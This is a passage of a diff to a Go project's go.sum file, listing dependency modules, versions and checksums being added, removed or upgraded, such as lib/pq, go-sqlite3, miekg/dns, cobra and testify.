github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
@@ -576,19 +570,20 @@ github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Nt
|
||||
github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.3.0 h1:/qkRGz8zljWiDcFvgpwUpwIAPu3r07TDvs3Rws+o/pU=
|
||||
github.com/lib/pq v1.3.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8=
|
||||
github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
|
||||
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
|
||||
github.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/marstr/guid v1.1.0/go.mod h1:74gB1z2wpxxInTG6yaqA7KrtM0NZ+RbrcqDvYHefzho=
|
||||
github.com/mattbaird/jsonpatch v0.0.0-20171005235357-81af80346b1a/go.mod h1:M1qoD/MqPgTZIk0EWKB38wE28ACRfVcn+cU08jyArI0=
|
||||
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
|
||||
@@ -596,26 +591,26 @@ github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcncea
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
|
||||
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
|
||||
github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
|
||||
github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ=
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
|
||||
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
|
||||
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.12 h1:Y41i/hVW3Pgwr8gV+J23B9YEY0zxjptBuCWEaxmAOow=
|
||||
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
|
||||
github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
|
||||
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
github.com/mattn/go-sqlite3 v1.14.12 h1:TJ1bhYJPV44phC+IMu1u2K/i5RriLTPe+yc68XDJ1Z0=
|
||||
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
||||
github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
|
||||
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.2-0.20181231171920-c182affec369/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
|
||||
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
|
||||
@@ -623,19 +618,12 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
|
||||
github.com/miekg/dns v1.1.35 h1:oTfOaDH+mZkdcgdIjH6yBajRGtIwcwcaR+rt23ZSrJs=
|
||||
github.com/miekg/dns v1.1.35/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
|
||||
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
|
||||
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
|
||||
github.com/miekg/pkcs11 v1.0.3/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
|
||||
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
|
||||
github.com/mistifyio/go-zfs v2.1.2-0.20190413222219-f784269be439+incompatible/go.mod h1:8AuVvqP/mXw1px98n46wfvcGfQ4ci2FwoAjKYxuo3Z4=
|
||||
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
|
||||
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
|
||||
github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
|
||||
github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
|
||||
github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
|
||||
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
|
||||
github.com/mitchellh/osext v0.0.0-20151018003038-5e2d6d41470f/go.mod h1:OkQIRizQZAeMln+1tSwduZz7+Af5oFlKirV/MSYes2A=
|
||||
github.com/moby/locker v1.0.1/go.mod h1:S7SDdo5zpBK84bzzVlKr2V0hz+7x9hWbYC/kq7oQppc=
|
||||
@@ -689,7 +677,7 @@ github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/
|
||||
github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mod h1:r3f7wjNzSs2extwzU3Y+6pKfobzPh+kKFJ3ofN+3nfs=
|
||||
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
|
||||
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
|
||||
github.com/pelletier/go-toml v1.8.1/go.mod h1:T2/BmBdy8dvIRq1a/8aqjN41wvWlN4lrapLU/GW4pbc=
|
||||
@@ -702,7 +690,6 @@ github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6J
|
||||
github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
||||
github.com/pquerna/cachecontrol v0.0.0-20171018203845-0dec1b30a021/go.mod h1:prYjPmNq4d1NPVmpShWobRqXY3q7Vp+80DqgxxUrUIA=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
@@ -735,6 +722,9 @@ github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1
|
||||
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
|
||||
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
|
||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
@@ -742,30 +732,25 @@ github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
|
||||
github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
|
||||
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
|
||||
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/safchain/ethtool v0.0.0-20190326074333-42ed695e3de8/go.mod h1:Z0q5wiBQGYcxhMZ6gUqHn6pYNLypFAvaL3UvgZLR0U4=
|
||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
|
||||
github.com/seccomp/libseccomp-golang v0.9.1/go.mod h1:GbW5+tmTXfcxTToHLXlScSlAvWlF4P2Ca7zGrPiEpWo=
|
||||
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
|
||||
github.com/sergi/go-diff v1.1.0 h1:we8PVUC3FE2uYfodKH/nBHMSetSfHDR6scGdBi+erh0=
|
||||
github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
|
||||
github.com/shirou/gopsutil/v3 v3.21.10 h1:flTg1DrnV/UVrBqjLgVgDJzx6lf+91rC64/dBHmO2IA=
|
||||
github.com/shirou/gopsutil/v3 v3.21.10/go.mod h1:t75NhzCZ/dYyPQjyQmrAYP6c8+LCdFANeBMdLPCNnew=
|
||||
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
|
||||
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc h1:jUIKcSPO9MoMJBbEoyE/RJoE8vz7Mb8AjvifMMwSyvY=
|
||||
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ=
|
||||
github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
|
||||
github.com/sirupsen/logrus v1.0.6/go.mod h1:pMByvHTf9Beacp5x1UXfOR9xyW/9antXMhjMPG0dEzc=
|
||||
github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
|
||||
github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
|
||||
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE=
|
||||
github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
|
||||
github.com/smartystreets/goconvey v0.0.0-20190330032615-68dc04aab96a/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
|
||||
github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
|
||||
github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
|
||||
github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
|
||||
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
|
||||
@@ -773,8 +758,8 @@ github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTd
|
||||
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
|
||||
github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
|
||||
github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE=
|
||||
github.com/spf13/cobra v1.1.1 h1:KfztREH0tPxJJ+geloSLaAkaPkr4ki2Er5quFV1TDo4=
|
||||
github.com/spf13/cobra v1.1.1/go.mod h1:WnodtKOvamDL/PwE2M4iKs8aMDBZ5Q5klgD3qfVJQMI=
|
||||
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
|
||||
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
|
||||
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
|
||||
github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
|
||||
github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
|
||||
@@ -782,11 +767,11 @@ github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnIn
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE=
|
||||
github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
|
||||
github.com/stefanberger/go-pkcs11uri v0.0.0-20201008174630-78d3cae3a980/go.mod h1:AO3tvPzVZ/ayst6UlUKUv6rcPQInYe3IknH3jYhAKu8=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/testify v0.0.0-20151208002404-e3a8ff8ce365/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
@@ -794,9 +779,10 @@ github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UV
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/syndtr/gocapability v0.0.0-20180916011248-d98352740cb2/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww=
|
||||
github.com/tchap/go-patricia v2.2.6+incompatible/go.mod h1:bmLyhP68RS6kStMGxByiQ23RP/odRBOTVjwp2cDyi6I=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
@@ -826,7 +812,6 @@ github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
|
||||
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
github.com/yvasiyarov/go-metrics v0.0.0-20140926110328-57bccd1ccd43/go.mod h1:aX5oPXxHm3bOH+xeAttToC8pqch2ScQN/JoXYupl6xs=
|
||||
github.com/yvasiyarov/gorelic v0.0.0-20141212073537-a9bba5b9ab50/go.mod h1:NUSPSUX/bi6SeDMUh6brw0nXpxHnc96TguQh0+r/ssA=
|
||||
github.com/yvasiyarov/newrelic_platform_go v0.0.0-20140908184405-b21fdbd4370f/go.mod h1:GlGEuHIJweS1mbCqG+7vt2nvWLzLLnRHbXz5JKd/Qbg=
|
||||
@@ -846,17 +831,19 @@ go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E=
|
||||
go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI=
|
||||
go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
|
||||
